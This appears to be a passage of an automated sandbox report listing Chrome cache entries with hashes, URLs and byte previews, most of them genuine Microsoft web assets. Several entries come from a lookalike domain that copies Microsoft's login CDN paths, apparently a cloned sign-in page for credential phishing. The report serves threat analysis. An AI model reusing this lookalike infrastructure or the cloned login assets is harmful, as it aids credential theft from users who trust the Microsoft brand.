MD5:	70C1D43A35B7A48D088D830EA07FCF77
SHA1:	025E0E281139C70C5538E09BFA7927141AF0CC0B
SHA-256:	942E5DD201200674506B0DF50C1AFEF021FFF6D5BD7BB7F600DED8617DBCB386
SHA-512:	E40B2CEAA1F672891BFF21F7C22A8B473DCF998FDC0A74B3DD1999190BA281C330C871D4BC82F89561E2AD7D97FE3169F33748AD368184BD1B4850941822D921
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/semibold/latest.woff
Preview:	wOFF.......<................................OS/2...D...W...`K..rcmap..............<.cvt .......y....c.e0fpgm...,.......5.KV.gasp................glyf......sH.......$head...0...6...6....hhea...h...!...$...Jhmtx................loca...L.........z.@maxp...H... ... .N.?name...h........!MG$post...X....... .Q.wprep...l........[...x.c`fie.``e.`..j...(.../2.1.q.2q.3..!.s...2........+(.)..X/..d..X.......ca`.......1..e.x.e.}L.U..?.."e.\4.4..(8_R.#....MM.Z[[.%*....(& .Q...:G.ZF..2..{....i^n.ee..Vx...1...=...vv>....D........:..'...t.z......k....MP...S..\|-.RU.VuNog..3.)r.;+.:.C.s.........w....'h.M..e.k2M..e.C.nz...n...Mq{.i.`w....g..8......}..!..Gir5HC5B#.H..I=..U.rU.xR;..t.-....MO.j.7&.3..n.I.<.u...x......_&V..$..b3...o.....l...b...M...]..^=xv.^.7(....z...e..tT.&.1.:R..E.K....k!..UY.4......P}.:8g..m?.......JT.;.....5....T.oS...z....&t[..M.y..~x..b.&...........d..J.d..j.u.f^.8.U.V..OZ....)N..3..z...\|>.4.s..\|.U.h....=fq.:..+.f6..+.P...1.bJ.1.R.1.....E,.g.y.%,......eTY./.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	689017
Entropy (8bit):	4.210697599646938
Encrypted:	false
SSDEEP:	6144:rnQWWDY3mr16XRxcpuEhjMPRKkC0d7xyF0FA9OgoUE0HUN4oe+:rBWU3xhDKkTshoj5
MD5:	3E89AE909C6A8D8C56396830471F3373
SHA1:	2632F95A5BE7E4C589402BF76E800A8151CD036B
SHA-256:	6665CA6A09F770C6679556EB86CF4234C8BDB0271049620E03199B34B4A16099
SHA-512:	E7DBE4E95D58F48A0C8E3ED1F489DCF8FBF39C3DB27889813B43EE95454DECA2816AC1E195E61A844CC9351E04F97AFA271B37CAB3FC522809CE2BE85CC1B8F0
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js
Preview:	.!(function (e) {. function n(n) {. for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++). (i = o[s]),. Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]),. (a[i] = 0);. for (t in r) Object.prototype.hasOwnProperty.call(r, t) && (e[t] = r[t]);. for (d && d(n); c.length; ) c.shift()();. }. var t,. i = {},. a = { 22: 0 };. function o(n) {. if (i[n]) return i[n].exports;. var t = (i[n] = { i: n, l: !1, exports: {} });. return e[n].call(t.exports, t, t.exports, o), (t.l = !0), t.exports;. }. Function.prototype.bind \|\|. ((t = Array.prototype.slice),. (Function.prototype.bind = function (e) {. if ("function" != typeof this). throw new TypeError(. "Function.prototype.bind - what is trying to be bound is not callable". );. var n = t.call(arguments, 1),. i = n.length,. a = this,. o = function () {},. r = function () {. return (.

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/favicon.ico?v2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65520), with no line terminators
Category:	downloaded
Size (bytes):	82190
Entropy (8bit):	5.036904170769404
Encrypted:	false
SSDEEP:	1536:tJzwN0CbUTqI34/9w6/Qua+1IGEbjBko230WBYT:vyA
MD5:	1F9995AB937AC429A73364B4390FF6E8
SHA1:	81998DCC6407CEB5CEF236AD52B9F2A3A9528D3B
SHA-256:	49E5166F40D8586714F86E08AB76A977199DF979357147A0E81980A804151C2A
SHA-512:	6669AE352FF46DB734BB8F973D1C0527C3A5EC4119D534AAE4C33F29EFF970168ED5FE200A05D4E1B6A2EC0E090E2207549B926317D489DC7664B0D9C2085465
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/onestorerolling-1510-19009/shell/v3/scss/shell.min.css
Preview:	@charset "UTF-8";@font-face{font-family:'wf_segoe-ui_normal';src:local("Segoe UI");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");font-weight:normal;font-style:normal}@font-face{font-family:'wf_segoe-ui_semilight';src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.ttf")

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	103
Entropy (8bit):	4.1716187943968235
Encrypted:	false
SSDEEP:	3:GACW0RXxKbFEuFX4MfY1hgSF7nKXl0QgKHJu:SW0xxsFfX820QFpu
MD5:	96C5637E1EB8F8F8C34172F2D23EAFC6
SHA1:	2A416F86C3C9E26F9C34BF1F8B1BB5DAA46E86F9
SHA-256:	90B2D35CD5E08370ED20DB81197DD9DA1A4DBB421F71293FD5733EA49EB7B3E1
SHA-512:	4686BA81D38403B2DCFDB0514F1151DF5BF555EB12EA47214FFA2E8EA2BED44348144D6731A01EBA38890B33726A76DFA26822B4233EB59BF12ED58E9EBB86D3
Malicious:	false
Reputation:	low
URL:	https://privacy.microsoft.com/en-US/updates/pspResource
Preview:	The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31463), with no line terminators
Category:	downloaded
Size (bytes):	31463
Entropy (8bit):	5.335245781249028
Encrypted:	false
SSDEEP:	384:ekorlyEMfQ8sW5hXDi/iE3adOdoIB4mqdRyedRyNWGyIWGyeoQys05DU7uj5hypb:0o1Di5+OOYbsp0yK3FJ12V2+vr/eoq
MD5:	7148585ECACB77E3EC38A7423D557F0A
SHA1:	3F4428AB18D492318AEC5AD51D4BD22B67BC3955
SHA-256:	9AF3C8E1B582FEBECEF2A475989DC02902A772CEFAC1896C9BAAAFD218D2CA04
SHA-512:	82E8B4FF7B55C9D7F4AE010ED2FBCA757547A88D2BB52C8C2E01AC416594B5CFD608260844FEA93501BD3C4B289A5EBA69412B2643A2C6BF01602163FF6F5B46
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=08e9f1ba-f4e7-80f5-d4c5-f75b4dc5cf51
Preview:	function ShowSelectedComponentKeyPress(n,t){if(window.event.keyCode==13)return ShowSelectedComponent(n,t),!1}function SetRightSideNavigationMenuHeight(){$("[id^=dvModuleGroup_]").hide();window.location.search.toLowerCase().indexOf("bookmarkid")!=-1&&SelectBookMark();window.location.search.toLowerCase().indexOf("componentid")!=-1&&LoadSelectedInternalLink();$(".div_side_comp").length>0&&$(".div_content").css("min-height",$(".div_side_comp").height()-27)}function ShowSelectedComponent(n,t){var i=$("#"+t).attr("data-parentModule");return i!=undefined&&i!=null&&($("[data-parentmodule="+i+"]").show(),$("#"+i+" [id$=_LongDescription]").length>0?(document.getElementById(i+"_LongDescription").style.display="block",document.getElementById(i+"_ShortDescription").style.display="none",ShowText($("#"+i+".learnMoreLabel"),"long",t)):ShowText($("#"+i+".learnMoreLabel"),"long",t),DisplayTopNavigation(i)),$("html, body").animate({scrollTop:$("#"+t).offset().top-1},800),!1}function ShowToolTip(){var n,i

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	660449
Entropy (8bit):	5.4121922690110535
Encrypted:	false
SSDEEP:	12288:3PUKyvwjOOvwZ1ARuxntuicBh8hS11dsUA:yvjZ+/pIUA
MD5:	D9E3D2CE0228D2A5079478AAE5759698
SHA1:	412F45951C6AEDA5F3DF2C52533171FC7BDD5961
SHA-256:	7041D585609800051E4F451792AEC2B8BD06A4F2D29ED6F5AD8841AAE5107502
SHA-512:	06700C65BEF4002EBFBFF9D856C12E8D71F408BACA2D2103DDE1C28319B6BD3859FA9D289D8AEB6DD484E802040F6EE537F31F97B4B60A6B120A6882C992207A
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.3.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/d6-d6e6df/89-746ba4/df-3feeb0/f5-14aef8/bd-f5f332/27-13b2c3/e9-07937b/33-b505e5/fa-7a47db/6e-e2d05f/74-0b2d48/88-5b9b75/1b-240b37/4e-8e1a50/c2-370434/6f-bf5d0f/ea-315ddf/2e-e273bf/17-02d9ee/cf-2a93c7/c0-2ffa80/77-785548/48-4f52bb/3c-6c8ad0/3a-0d7cd3/5f-7d882b/c1-621df2/38-e8e647/17-c82a09/85-bd536d/44-776362/f8-86938e/61-951d1b/39-3d9dc2/81-96da47/ec-e44e19/6c-7627b9?ver=2.0&_cf=20210618&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 33556, version 0.0
Category:	downloaded
Size (bytes):	33556
Entropy (8bit):	7.986987433752767
Encrypted:	false
SSDEEP:	768:agf2aMu68W993ufOSHOWuwtfLVebDm6r9j3oqlHH:hf2vuYb3IPHOdaJmp3Dn
MD5:	637B1F43DE4B96B9446ADCC107C5F688
SHA1:	3FAD425F0C1CFE8711888CD877E122E5F8D2C15A
SHA-256:	0ED2DC761DDF650B9AAB0C366F43DDEA0DB81E13BBE603A21F2BFEF519387CE9
SHA-512:	9B48ED55813F9A372F1E1BE5FEF737B0583E8990B9B0D57A7810EEC5F55D5C9CC55739D3DC3A2851009964C34C82F1D0D9B58EC05A212779667A023DB8804BF5
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff
Preview:	wOFF........................................OS/2...D...X...`J..%cmap..............<.cvt ...........L/.+}fpgm............".[.gasp...\|.........<..glyf......m....,....head..x$...6...6.X.hhea..x\...!...$.<.Jhmtx..x............loca..\|..........{.maxp....... ... ....name...0........ DE.post........... .Q.wprep...0.......ibMktx.c`f.`8.....:....Q.B3_dHc..`e.feb.B&....e...'.(..VP.R....^........(0.$...:.H)00..<W..x.e.{L.U..?..E../..7<<..-.?.M...K6...M%.4@..E.DMs1.S....f.]t..4L..t3//o.R7..}.N/.....9g...o./ .V....._..x.I.Z..O.5DC5B.5V...\M.czJ.Z...V......g.S.,r.:..G...s&........V..;1{p.$..3....d.,3.L6......In_7...#..7.-..q.-.......+.CH}t...j.Fj......t=..R..b<.]x.8M....x...I5....<..x.-O.N........7.s....$zBl....&......?.S.>..z...^.w.k..N....G..m..J[G..BgEj#.#."..R.<...$......e.pVx....W.9..l...v....UdU...y.U.6....H.RC...n.V5(...7.........vv....([..Z.....f'.yIb-..@......8.2....i....&G9.[.f....+...c\|......PH3..=o3.....?.#....H..R.\|J(%...X.".S......T....J......._.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (402)
Category:	downloaded
Size (bytes):	262641
Entropy (8bit):	4.9463902181496096
Encrypted:	false
SSDEEP:	3072:u+Vd0pBbqPLYoyjFkxD2hAYwJb8ILm731Ss:u+Vd0DePLYoyjFkxD2hAYwJbZLM31Ss
MD5:	7C593B06759DB6D01614729D206738D6
SHA1:	0D4F76D10944933B8DDECFFE9691081439A77A3C
SHA-256:	F7D9FB0479DE843CF3FB0B78FC56BBB9E30BF0A238C6F79D9209FA8B22EFB574
SHA-512:	EF91B610CF17A17AAFB48984B4403EF175EB86096E3F12E23AE8D4C7C96EF60ED14DA3F69721E095CD2ACE3F0A06190186D000992823814BB906F7FB3576C2C1
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/oneui/oneui1.16.2/dist/css/app.css
Preview:	@font-face {. font-family: "wf_segoe-ui_normal";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");. font-weight: normal;. font-style: normal; }..@font-face {. font-family: "wf_segoe-ui_light";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.ttf") format("truetype

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113084
Category:	downloaded
Size (bytes):	20314
Entropy (8bit):	7.979540464295058
Encrypted:	false
SSDEEP:	384:ekqQ8rNFEhCgMyL2iww6oIR8mWG+Pu9Z5IM6mxqrghTvUty7T9Q:9CGEiL/w7R8DW9Z5B6AasTv37T9Q
MD5:	92A840DC3D177339DAE03FEDF22A22B5
SHA1:	C1C9A6E6442388D07A9D9D72C12DA25094D6920F
SHA-256:	4A986BA8875F22A0EABC356112A6790F90E114ADB72EAEC4632E03812EC1EDE4
SHA-512:	98C705395DD249501D8069A03E0068BC9CCF4F2D139BEC63A00564C69CD21C05CB25CF56BA7B40822963737989D5048AD310E20D6022E84346C982CFCEF79E11
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css
Preview:	...........}ks.6.....\.R;.J.H=-WR;..&>g^53.G.R[.DY<C..$e.WG..... )...{+'g...l............bw_f7.:x..<x.-.V5)/wE..Y...gy.0.(.-o.e.\|..._..I.....?<{.!x...W..._..^..p..E..'..Y...<.....]..6(. ..D.....Y.......:.ve.?..!..\|t...].+.......a.......\|.P...u.H.d.d.r.c[..~.L..n.-.}e.H3...r..^..iP.u..z.....)..Z.jx..C'......u..{.C...N.o.m~..F(b..f.....h..O.....6....kr.......n2m M$.R..R..i{.~.....n.dKY..#.Kn.4..G...O..l.#.a=..iU..].S.2.wY..O.\|...Z.A....].uU.._%U.<...pp..u=.....C.R..S.....0...A<......&...W..'o.T.."..jO..^+.....DiW.b..7i..7..........lKe.0.~B0.....zQu#...YB.,.{.&.6..G.6..._...J.i.?.LS$( .^.{..u.-.0....K....M&j..s.yB..+....^.)...7e.....]..eFI_.kRX.B......D[.4......+.u=>....R.`QEK...R..d...*S.. ,c5RKBK(......][..eF{T.....6...".....Uk:..S.0Ro.}B.dwJZ}U..S.F.....&.&.~\|......{..Ep.>x..._....}p..=.}...v...7?}...g..1&.......}...^...o.x.>x...../.^....._.........w.v./.........BA...{J..w..$?.}w....?zO.r..5...7.gl..z...g.?.{....R.......yGj

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
